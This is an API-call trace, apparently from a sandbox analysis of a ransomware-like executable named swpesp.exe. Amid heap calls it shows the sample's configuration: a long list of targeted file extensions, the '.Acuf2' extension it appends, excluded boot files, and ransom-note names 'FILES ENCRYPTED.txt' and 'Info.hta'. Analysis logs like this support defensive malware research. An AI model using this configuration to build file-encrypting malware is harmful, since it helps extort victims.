	[0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522398
	[0245.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5223b0
	[0245.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5223c8
	[0245.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5223e0
	[0245.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4dd1e0
	[0245.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x6) returned 0x4dd1f0
	[0245.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5223f8
	[0245.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522410
	[0245.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522428
	[0245.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522440
	[0245.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522458
	[0245.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x522470
	[0245.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522488
	[0245.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5224a0
	[0245.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5224b8
	[0245.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5224d0
	[0245.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x5224e8
	[0245.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522500
	[0245.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522518
	[0245.318] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dd740, Size=0x400) returned 0x522780
	[0245.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522530
	[0245.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522548
	[0245.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x522560
	[0245.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522578
	[0245.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522590
	[0245.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5225a8
	[0245.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x5225c0
	[0245.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5225d8
	[0245.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5225f0
	[0245.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522608
	[0245.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4dd200
	[0245.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522620
	[0245.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x522638
	[0245.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522650
	[0245.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522668
	[0245.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522680
	[0245.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522698
	[0245.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xe) returned 0x5226b0
	[0245.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5226c8
	[0245.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5226e0
	[0245.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5226f8
	[0245.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522710
	[0245.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522728
	[0245.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522740
	[0245.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522758
	[0245.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522ba0
	[0245.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4dd210
	[0245.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522bb8
	[0245.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522bd0
	[0245.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522be8
	[0245.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522c00
	[0245.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522c18
	[0245.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522c30
	[0245.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522c48
	[0245.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522c60
	[0245.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522c78
	[0245.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xe) returned 0x522c90
	[0245.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522ca8
	[0245.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xe) returned 0x522cc0
	[0245.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522cd8
	[0245.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522cf0
	[0245.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522d08
	[0245.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522d20
	[0245.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522d38
	[0245.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x522d50
	[0245.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522d68
	[0245.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522d80
	[0245.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522d98
	[0245.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522db0
	[0245.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522dc8
	[0245.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522de0
	[0245.320] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522df8
	[0245.320] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522e10
	[0245.320] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522e28
	[0245.320] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522e40
	[0245.320] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522e58
	[0245.320] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522e70
	[0245.320] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522e88
	[0245.320] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522ea0
	[0245.320] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522eb8
	[0245.320] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522ed0
	[0245.320] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522ee8
	[0245.320] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x522f00
	[0245.320] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x12) returned 0x4d9ea0
	[0245.320] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522f18
	[0245.320] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522f30
	[0245.320] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522f48
	[0245.320] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522f60
	[0245.320] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4feb98
	[0245.320] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4febb0
	[0245.320] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4febc8
	[0245.320] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4febe0
	[0245.320] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4febf8
	[0245.320] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4fec10
	[0245.320] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4fec28
	[0245.320] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4fec40
	[0245.320] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4fec58
	[0245.320] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4fec70
	[0245.320] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4fec88
	[0245.320] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4feca0
	[0245.320] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4fecb8
	[0245.321] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4fecd0
	[0245.321] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4fece8
	[0245.321] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4fed00
	[0245.321] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4fed18
	[0245.321] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4fed30
	[0245.321] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4fed48
	[0245.321] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xe) returned 0x4fed60
	[0245.321] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4fed78
	[0245.321] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4dd220
	[0245.321] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4fed90
	[0245.321] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4dd230
	[0245.321] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4feda8
	[0245.321] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4fedc0
	[0245.321] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4fedd8
	[0245.321] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4fedf0
	[0245.321] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4fee08
	[0245.321] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4fee20
	[0245.321] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4fee38
	[0245.321] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4fee50
	[0245.321] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4fee68
	[0245.321] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4fee80
	[0245.321] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4fee98
	[0245.321] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4feeb0
	[0245.321] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4feec8
	[0245.321] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4feee0
	[0245.321] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4dd240
	[0245.321] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4feef8
	[0245.321] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4fef10
	[0245.322] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x522780, Size=0x800) returned 0x4ff380
	[0245.322] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776
	[0245.322] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x520b78 | out: hHeap=0x4a0000) returned 1
	[0245.322] lstrlenW (lpString="") returned 0
	[0245.322] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4ffcd8 | out: hHeap=0x4a0000) returned 1
	[0245.322] lstrlenW (lpString=".Acuf2") returned 6
	[0245.322] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dbe28, Size=0x8) returned 0x4dbe28
	[0245.322] lstrlenW (lpString=".Acuf2") returned 6
	[0245.322] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4ffcd8 | out: hHeap=0x4a0000) returned 1
	[0245.322] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4ffd08, Size=0x20) returned 0x4b4300
	[0245.322] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b4300, Size=0x40) returned 0x4daa20
	[0245.322] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4daa20, Size=0x80) returned 0x51eb90
	[0245.322] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dd2b0, Size=0x8) returned 0x4dd2c0
	[0245.322] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dd2c0, Size=0x10) returned 0x4ffd08
	[0245.322] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4ffd08, Size=0x20) returned 0x4b42d8
	[0245.322] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48
	[0245.322] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x51eb90 | out: hHeap=0x4a0000) returned 1
	[0245.323] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4ffd38, Size=0x20) returned 0x4d9858
	[0245.323] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d9858, Size=0x40) returned 0x4daa20
	[0245.323] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19
	[0245.323] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19
	[0245.323] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4daa20 | out: hHeap=0x4a0000) returned 1
	[0245.323] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4ffd38, Size=0x20) returned 0x4d9858
	[0245.323] lstrlenW (lpString="Info.hta") returned 8
	[0245.323] lstrlenW (lpString="Info.hta") returned 8
	[0245.323] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d9858 | out: hHeap=0x4a0000) returned 1
	[0245.323] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4fff88, nSize=0x7fff | out: lpFilename="C:\\Windows\\System32\\swpesp.exe" (normalized: "c:\\windows\\system32\\swpesp.exe")) returned 0x1e
	[0245.323] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4fff88 | out: hHeap=0x4a0000) returned 1
	[0245.323] lstrlenW (lpString="swpesp.exe") returned 10
	[0245.323] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b42d8, Size=0x40) returned 0x4daa20
	[0245.323] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4ffd38, Size=0x20) returned 0x4b42d8
	[0245.324] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4ffd38, Size=0x20) returned 0x4d9858
	[0245.324] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d9858, Size=0x40) returned 0x4daa68
	[0245.324] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4daa68, Size=0x80) returned 0x51eb90
	[0245.324] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x51eb90, Size=0x100) returned 0x4dd740
	[0245.324] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0245.324] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4dd740 | out: hHeap=0x4a0000) returned 1
	[0245.324] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x4fff88, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc
	[0245.324] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x522f88 | out: hHeap=0x4a0000) returned 1
	[0245.324] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4fff88 | out: hHeap=0x4a0000) returned 1
	[0245.324] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dd2c0, Size=0x8) returned 0x4dd2b0
	[0245.324] lstrlenW (lpString="%windir%;") returned 9
	[0245.324] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b42d8 | out: hHeap=0x4a0000) returned 1
	[0245.324] lstrlenW (lpString="C:\\Windows;") returned 11
	[0245.324] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4eeb78 | out: hHeap=0x4a0000) returned 1
	[0245.324] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4ffd50, Size=0x20) returned 0x4b42d8
	[0245.324] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b42d8, Size=0x40) returned 0x4daa68
	[0245.324] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4daa68, Size=0x80) returned 0x51eb90
	[0245.324] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x51eb90, Size=0x100) returned 0x4dd740
	[0245.324] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dd2f0, Size=0x8) returned 0x4dd300
	[0245.324] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dd300, Size=0x10) returned 0x4ffd98
	[0245.324] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4ffd98, Size=0x20) returned 0x4b42d8
	[0245.324] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dd2c0, Size=0x8) returned 0x4dd300
	[0245.324] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dd2d0, Size=0x8) returned 0x4dd2c0
	[0245.325] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dd2f0, Size=0x8) returned 0x4dd310
	[0245.325] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dd310, Size=0x10) returned 0x4ffe40
	[0245.325] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4ffe40, Size=0x20) returned 0x4d9858
	[0245.325] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dd300, Size=0x10) returned 0x4ffe40
	[0245.325] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dd2c0, Size=0x10) returned 0x4ffe70
	[0245.325] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dd300, Size=0x8) returned 0x4dd2f0
	[0245.325] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dd320, Size=0x8) returned 0x4dd330
	[0245.325] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4ffe40, Size=0x20) returned 0x4d98a8
	[0245.325] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4ffe70, Size=0x20) returned 0x4d97b8
	[0245.325] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dd340, Size=0x8) returned 0x4dd350
	[0245.325] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91
	[0245.325] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4dd740 | out: hHeap=0x4a0000) returned 1
	[0245.325] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4ffee8, Size=0x20) returned 0x4d98d0
	[0245.325] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x4eeb78, nSize=0x7fff | out: lpDst="C:") returned 0x3
	[0245.325] lstrlenW (lpString="C:\\") returned 3
	[0245.325] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0245.326] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4eeb78 | out: hHeap=0x4a0000) returned 1
	[0245.326] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dd380, Size=0x82) returned 0x4dd7d0
	[0245.326] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dd3a0, Size=0x100) returned 0x4dd860
	[0245.326] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dd7d0, Size=0x104) returned 0x520f78
	[0245.326] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dd860, Size=0x200) returned 0x521088
	[0245.327] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4dd390 | out: hHeap=0x4a0000) returned 1
	[0245.327] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x521088 | out: hHeap=0x4a0000) returned 1
	[0245.327] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x520ba8 | out: hHeap=0x4a0000) returned 1
	[0245.327] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x51ed28 | out: hHeap=0x4a0000) returned 1
	[0245.327] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4fff48 | out: hHeap=0x4a0000) returned 1
	[0245.327] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x51edb0 | out: hHeap=0x4a0000) returned 1
	[0245.327] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x520b90 | out: hHeap=0x4a0000) returned 1
	[0245.327] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x520f78 | out: hHeap=0x4a0000) returned 1
	[0245.327] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4fff60 | out: hHeap=0x4a0000) returned 1
	[0245.327] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4dd968 | out: hHeap=0x4a0000) returned 1
	[0245.327] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x520bc0 | out: hHeap=0x4a0000) returned 1
	[0245.327] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4dd9f8 | out: hHeap=0x4a0000) returned 1
	[0245.327] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x520bd8 | out: hHeap=0x4a0000) returned 1
	[0245.327] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4fff60, Size=0x20) returned 0x4d98f8
	[0245.327] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d98f8, Size=0x40) returned 0x4daa68
	[0245.327] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4dd360 | out: hHeap=0x4a0000) returned 1
	[0245.327] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4ffee8 | out: hHeap=0x4a0000) returned 1
